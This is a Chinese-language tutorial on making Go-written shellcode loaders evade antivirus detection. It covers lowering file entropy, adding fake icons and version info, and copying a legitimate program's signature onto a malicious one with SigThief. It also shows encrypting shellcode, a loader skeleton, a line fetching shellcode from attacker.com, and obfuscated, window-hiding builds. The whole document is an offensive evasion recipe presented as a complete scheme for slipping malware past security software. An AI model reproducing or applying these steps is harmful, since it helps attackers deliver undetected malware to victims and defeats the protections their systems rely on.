免杀与 golang 实现
字数 1368 2025-08-10 08:28:52
Golang免杀技术详解:从理论到实践
1. 免杀理论基础:熵值分析
1.1 熵值概念
- 熵值衡量二进制文件的随机性程度
- 合法软件熵值范围:4.8-7.2
- 恶意软件熵值通常>7.2
- 高熵值通常由压缩或加密引起
1.2 熵值计算实现
Go语言实现熵值计算公式:
func calculateEntropy(buffer []byte) float64 {
l := float64(len(buffer))
m := map[byte]float64{}
for _, b := range buffer {
m[b]++
}
var hm float64
for _, c := range m {
hm += c * math.Log2(c)
}
return math.Log2(l) - hm/l
}
1.3 PE节熵值分析
.text: 代码段.data: 初始化数据.rdata: 只读数据.rsrc: 资源段(图标、版本信息等)- 恶意软件通常缺少
.rsrc节
2. 降低熵值技术
2.1 添加资源文件
- 图标添加:使用Resource Hacker添加图标资源
- 效果:增加
.rsrc节,显著降低整体熵值
2.2 添加版权信息
- 使用Resource Hacker打开目标程序
- 选择VERSION_INFO资源
- 添加并修改详细信息:
- 文件描述
- 文件版本
- 版权信息
- 原始文件名
- 产品名称
- 产品版本
2.3 复制签名信息
使用SigThief工具复制合法程序的签名:
python sigthief.py -i 合法程序 -t 恶意程序 -o 输出程序
3. Shellcode处理技术
3.1 编码/加密方式
- Base64编码:
- 降低熵值约1.2
- 副作用:文件体积增大
- 加密方案:
- 多字节异或
- AES加密
- RC4加密
- ChaCha20加密
- 组合方案:
- B64XOR (Base64 + XOR)
- B64RC4 (Base64 + RC4)
- B64AES (Base64 + AES)
- B64CHACHA20 (Base64 + ChaCha20)
3.2 Supernova_CN工具
扩展版Shellcode加密工具,支持:
./Supernova -enc 加密方式 -i 输入文件 -k 密钥长度 -lang 输出语言 -o 输出文件 -guide
可用加密方式:ROT, XOR, RC4, AES, CHACHA20, B64XOR, B64RC4, B64AES, B64CHACHA20
4. Golang免杀实现
4.1 基础Shellcode加载器
package main
import (
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
shellcode := []byte{...} // 原始Shellcode
shellcodeExec, _ := windows.VirtualAlloc(...)
// 复制Shellcode到内存
// 修改内存保护为可执行
// 创建线程执行Shellcode
// 等待线程结束
}
4.2 ChaCha20解密实现
func Chacha20Decrypt(data []byte, key []byte) []byte {
aead, _ := chacha20poly1305.NewX(key)
nonce, ciphertext := data[:aead.NonceSize()], data[aead.NonceSize():]
plaintext, _ := aead.Open(nil, nonce, ciphertext, nil)
return plaintext
}
4.3 Shellcode存储方式
- 本地存储:
shellcode, _ := os.ReadFile("./shellcode.bin") - 远程存储:
func fetchShellcode() []byte { _, body, _ := fasthttp.Get(nil, "http://attacker.com/shellcode.bin") return body }
5. 编译优化与混淆
5.1 编译参数
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build \
-trimpath \ # 去除路径信息
-ldflags="-s -w" \ # 缩小文件体积
-H=windowsgui # 隐藏DOS窗口
5.2 Garble混淆
go install mvdan.cc/garble@latest
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 garble \
-seed=random \ # 随机种子
-tiny \ # 更激进混淆
-literals \ # 混淆字面量
build ...
5.3 编译时添加资源
- 准备资源文件:
icon1.ico: 程序图标main.rc: 资源描述文件
- 编译资源:
x86_64-w64-mingw32-windres -F pe-x86-64 main.rc -O coff -o icon.syso - 正常编译程序,自动包含资源
6. 综合免杀方案
-
Shellcode处理:
- 使用Supernova_CN进行B64CHACHA20加密
- 确保加密后熵值在合法范围内
-
程序伪装:
- 添加合法图标和版本信息
- 复制合法程序签名
- 设置合理的文件属性和描述
-
加载技术:
- 选择AlternativeShellcodeExec-Go中的非标准加载方式
- 实现远程Shellcode获取增加灵活性
-
编译优化:
- 使用garble进行代码混淆
- 去除调试信息和路径
- 隐藏运行窗口
7. 参考工具
- 熵值计算工具:EntropyCalc_Go
- Shellcode加密工具:Supernova_CN
- 多种加载方式:AlternativeShellcodeExec-Go
- 签名复制工具:SigThief
- 资源编辑工具:Resource Hacker
通过结合这些技术和工具,可以构建有效的Golang免杀方案,规避主流杀毒软件的检测。关键是要平衡熵值、文件大小和功能完整性,使最终程序在静态和动态分析中都表现得像合法软件。